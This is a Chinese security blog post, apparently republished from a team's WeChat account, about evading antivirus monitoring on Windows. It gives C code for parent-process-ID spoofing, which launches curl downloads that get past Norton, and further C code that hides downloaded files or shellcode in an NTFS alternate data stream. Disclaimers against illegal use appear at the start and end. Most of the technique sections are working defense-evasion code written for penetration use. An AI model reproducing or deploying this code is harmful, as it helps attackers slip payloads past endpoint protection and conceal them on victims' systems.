windows绕过通信监控及隐藏shellcode

admin 2024年11月27日19:29:03评论13 views字数 2880阅读9分36秒阅读模式
windows绕过通信监控及隐藏shellcode
泛星安全团队
windows绕过通信监控及隐藏shellcode

泛星安全团队第19篇文章

声明

文章内容为学习记录,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

windows绕过通信监控及隐藏shellcode
工具、漏洞知识点总结
windows绕过通信监控及隐藏shellcode

PPID、ads流

windows绕过通信监控及隐藏shellcode
实现
windows绕过通信监控及隐藏shellcode

一、前言

在日常渗透中,都有上线shell或下载工具的需求,这其中免不了需要绕过终端杀软的一些拦截,从此需求出发,笔者抛砖引玉,提供一种思路。
一般情况下,杀软都会对进程的通信进行监控,此处以诺顿为例,使用自己编译生成的curl.exe或者在代码中调用windows自带的curl.exe下载资源都会被拦截:

windows绕过通信监控及隐藏shellcode

windows绕过通信监控及隐藏shellcode

windows绕过通信监控及隐藏shellcode

二、使用ppid欺骗伪造父进程

参考代码:

https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing

#include <windows.h>#include <TlHelp32.h>#include <iostream>int main() {  STARTUPINFOEXA si;  PROCESS_INFORMATION pi;  SIZE_T attributeSize;  ZeroMemory(&si, sizeof(STARTUPINFOEXA));  HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);  InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);  si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);  InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);  UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);  si.StartupInfo.cb = sizeof(STARTUPINFOEXA);  CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);  return 0;}
这种技术实际上是攻击者伪造了新进程的父进程“标识符”即ppid,从而绕过杀软的进程监控(或者说利用了杀软的白名单)。因为触发UAC后,父进程并没有指派给consent.exe,而consent.exe调用的CreateProcessAsUser函数中存在名为STARTUPINFOEXA的结构体,这个结构体可以指定父进程相关的信息,而CreateProcess函数同样也支持STARTUPINFOEXA结构体,所以我们可以通过调用Createprocess api来定义要使用的ppid参数。

这里我选择调用windows本身的curl进行下载:

windows绕过通信监控及隐藏shellcode

编译执行:

windows绕过通信监控及隐藏shellcode

windows绕过通信监控及隐藏shellcode

三、利用windows ads流隐藏shellcode

这里利用的NTFS交换数据流(alternate data streams简称ADS)是NTFS磁盘格式的一个特性,所以需要先使用GetVolumeInformation()检测驱动器是否是NTFS磁盘,然后创建和打开一个流将我们curl下载的文件或shellcode传入至流文件中,最后关闭文件。
char* pszRead = NULL;  char FSName[1024];  WCHAR* target_stream = L"C:\Windows\temp\FilterList.log:add";  char received[1024];  DWORD bytesOut;  WIN32_FIND_STREAM_DATA stream_data;  ReadWholeFile("encode.txt", (void**)&pszRead);  GetVolumeInformation("C:\", NULL, NULL, NULL, NULL, NULL, FSName, 1024);  if (_stricmp(FSName, "NTFS") == 0) {    HANDLE tFile = CreateFileW(target_stream,      GENERIC_READ | GENERIC_WRITE | FILE_WRITE_ATTRIBUTES,      FILE_SHARE_READ,      NULL,      OPEN_ALWAYS,      FILE_FLAG_SEQUENTIAL_SCAN | FILE_ATTRIBUTE_NORMAL,      NULL);    if (tFile == INVALID_HANDLE_VALUE) {      printf("[!] Could not open file: %srn", target_stream);      return -1;    }    WriteFile(tFile, pszRead, 2121, &bytesOut, NULL);    HANDLE hFind = FindFirstStreamW(target_stream, FindStreamInfoStandard, &stream_data, 0);    if (hFind == INVALID_HANDLE_VALUE) {      printf("[!] Could not find any streams!n");      return -1;    }    while (TRUE) {      if (!FindNextStreamW(hFind, &stream_data))        break;    }    FindClose(hFind);    SetFilePointer(tFile, NULL, NULL, FILE_BEGIN);    ReadFile(tFile, received, sizeof(received), &bytesOut, NULL);    CloseHandle(tFile);  }  else {    printf("Not this time, buddy!n");  }

四、效果

运行程序:

windows绕过通信监控及隐藏shellcode

打开创建的FilterList.log文件是空文件,只有创建的FilterList.log:add流文件中才存在我们的数据。

windows绕过通信监控及隐藏shellcode

windows绕过通信监控及隐藏shellcode

参考:

https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/untitled-1/parent-pid-spoofing

往期回顾

从sql注入到内网

HackTheBox:10.10.10.180靶机记录

vulnhub:CHILL HACK靶机记录

回炉重造 | 精通php反序列化之道

·END·
 

泛星安全团队

windows绕过通信监控及隐藏shellcode

原文始发于微信公众号(泛星安全团队):windows绕过通信监控及隐藏shellcode

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月27日19:29:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows绕过通信监控及隐藏shellcodehttps://cn-sec.com/archives/1629328.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息